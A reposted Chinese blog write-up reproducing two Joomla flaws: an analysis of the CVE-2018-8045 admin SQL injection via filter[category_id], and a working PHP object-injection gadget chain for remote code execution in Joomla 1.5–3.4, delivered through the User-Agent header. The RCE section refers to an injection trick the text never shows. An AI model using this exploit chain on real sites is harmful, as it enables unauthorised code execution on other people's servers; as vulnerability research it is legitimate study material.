首页 » 技术分享 » Joomla漏洞

Joomla漏洞

 

开始复现漏洞

使用w9scan测出存在注入

CVE-2018-8045复现:

官网:https://developer.joomla.org/security-centre/723-20180301-core-sqli-vulnerability.html

登录后台后:

升级包中的notes.php中,对$categoryId的值进行了限制,强制转换为int类型,可以确定,这个漏洞就出在这里。

在这里说个题外话,notes.php中getState方法出现过很多次,分别有

getState(‘filter.search’)
getState(‘filter.published’)
getState(‘filter.category_id’)
getState(‘filter.user_id’)
getState(‘filter.level’)
但是唯有getState(‘filter.category_id’)方法没有进行(int)类型转换,存在着漏洞隐患,这可能是开发者一时的疏忽吧。

CVE-2018-8045 漏洞分析
来看下存在漏洞的代码:

// Filter by a single or group of categories.
$categoryId = $this->getState('filter.category_id');
  
if ($categoryId && is_scalar($categoryId))
{
   $query->where('a.catid = ' . $categoryId);
}

$categoryId未经过滤直接拼接sql语句进行查询,造成了sql注入。

但是$categoryId参数如何控制呢?

存在漏洞的文件位于\administrator\components\com_users\models\notes.php,是一个joomla的模型文件,它的控制器是\administrator\components\com_users\controllers\notes.php

我们登录joomla后台来看一下在哪里触发这个漏洞。

访问http://xxx/joomla/administrator/index.php?option=com_users&view=notes 即可触发该控制器。

此时我们需要的filter[category_id]参数出现在了post参数中,通过这个参数的值,即可畅通无阻的进行注入。
下面验证下这个filter[category_id]参部分可以直接传递给后台的$categoryId参数
我们修改了filter[category_id]参数内容为’kingsguard_test’,并发包

后台下断点,抓取$categoryId值,可见’kingsguard_test’原封不动的被传递给$categoryId参数,并拼接sql语句进行查询。

POST注入     -p filter[category_id]指定参数

但失败了

Joomla远程代码执行漏洞(Phith0n)

这个漏洞影响Joomla 1.5 to 3.4全版本


<?php
//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
echo serialize($a); 


将这个代码生成的exp,以前面提到的注入『|』的变换方式,带入前面提到的user-agent中,即可触发代码执行。

其中,我们需要将char(0)*char(0)替换成\0\0\0,因为在序列化的时候,protected类型变量会被转换成\0*\0name的样式,这个替换在源代码中也可以看到:

<?php
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result); 

转载自原文链接, 如需删除请联系管理员。

原文链接:Joomla漏洞,转载请注明来源!

0